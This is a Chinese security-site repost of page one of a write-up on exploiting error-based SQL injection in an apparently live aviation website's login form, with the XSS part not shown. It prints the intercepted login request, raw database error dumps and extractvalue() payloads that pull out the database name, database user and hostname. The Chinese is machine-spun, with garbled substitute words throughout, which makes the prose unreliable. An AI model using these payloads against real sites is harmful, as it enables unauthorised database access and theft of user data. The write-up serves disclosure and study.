欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

火热航空类网站上的SQLi和XSS漏洞bug

来源:本站整理 作者:佚名 时间:2017-09-05 TAG: 我要投稿

上个月为了练手,我抉择了一个较受欢迎的网站(goodwesite.com)作为我的渗入渗出测试工具。在破绽发掘过程当中,我发明了该网站存在SQL注入XSS破绽。在正式开始文章内容前,让咱们先来简略了解下该类破绽的界说及发生道理。
甚么是SQL注入破绽?
此破绽容许未经身份验证的用户,从受害者的网站数据库中盗取数据,包含敏感用户信息等。
破绽发生缘故原由?
之以是存在该破绽是因为,goodwebsite在其登录界面对付用户输出的内容未停止准确的消毒处置招致的;这与在原始SQL查问中增加用户输出根本雷同。此时黑客只要输出响应的渗入渗出向量,就可能盗取走数据库中的哈希暗码和其余敏感用户信息。
是以,在测试“登录”页面时我随机输出了个用户名和暗码,并应用Burp Suite拦阻其哀求,接着我用Test%27来作为用户名,而后将哀求转发给Burp Repeater,并收到一条差错的答复,Response中的差错仿佛像是在提议Request哀求。
Request:
POST /register-login/check.php HTTP/1.1
Content-Length: 76
Content-Type: application/x-www-form-urlencoded
Cookie: bmslogin=no; bmsid=f3011db015dca9a4f2377cd4e864f724
Host: goodwebsite.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
strLogin=Test%27&strPassword=k
Response Error:
PDOException Object ( [message:protected] => SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near Test’ ‘ and `valid_id` = 1’ at line 1 [string:Exception:private] => [code:protected] => 42000 [file:protected] => /var/www/goodwebsite.server.com/register-login/send.php [line:protected] => 10 [trace:Exception:private] => Array ( [0] => Array ( [file] => /var/www/goodwebsite.server.com/register-login/send.php [line] => 10 [function] => query [class] => PDO [type] => -> [args] => Array ( [0] => SELECT * FROM `wp_ggg_user` WHERE `login` = Test’e ‘ and `valid_id` = 1; ) [previous:Exception:private] => [errorInfo] => Array ( [0] => 42000 [1] => 1064 [2] => You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near Test’ ‘ and `valid_id` = 1’ at line 1 )
依据开端的断定,我测验考试了一些其余的SQL查问,我应用的第一个查问语句是 Test%27and extractvalue(1,concat(0x00a,database()))or’此次呈现的差错与上述相似,只是呈现了一点小的变更,差错的开头部门如下:
[previous:Exception:private] =>
 [errorInfo] => Array
 (
 [0] => HY000
 [1] => 1105
 [2] => XPATH syntax error: ‘
goodwebsite’
 )
从以上差错信息中,咱们获得到了网站的数据库名称为goodwebsite。

除此之外,我还测试了如下的根本信息查问语句:
system_user()
@@version
database()
@@hostname
@@datadir
@@GLOBAL.VERSION
session_user()
schema()
UUID()
以是,接着我应用的查问语句是Test%27and extractvalue(1,concat(0x00a,system_user()))or’差错前往信息如下:
[previous:Exception:private] =>
 [errorInfo] => Array
 (
 [0] => HY000
 [1] => 1105
 [2] => XPATH syntax error: ‘
goodwebsite@localhost’
 )

经由过程以上查问测试,足以证实SQL注入破绽的存在。为了获得更多的信息,我继承应用了第三个查问语句Test%27and extractvalue(1,concat(0x00a,@@hostname))or’差错前往信息如下:
[previous:Exception:private] =>
    [errorInfo] => Array
        (
            [0] => HY000
            [1] => 1105
            [2] => XPATH syntax error: '
www2.rz.something.com'
        )

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载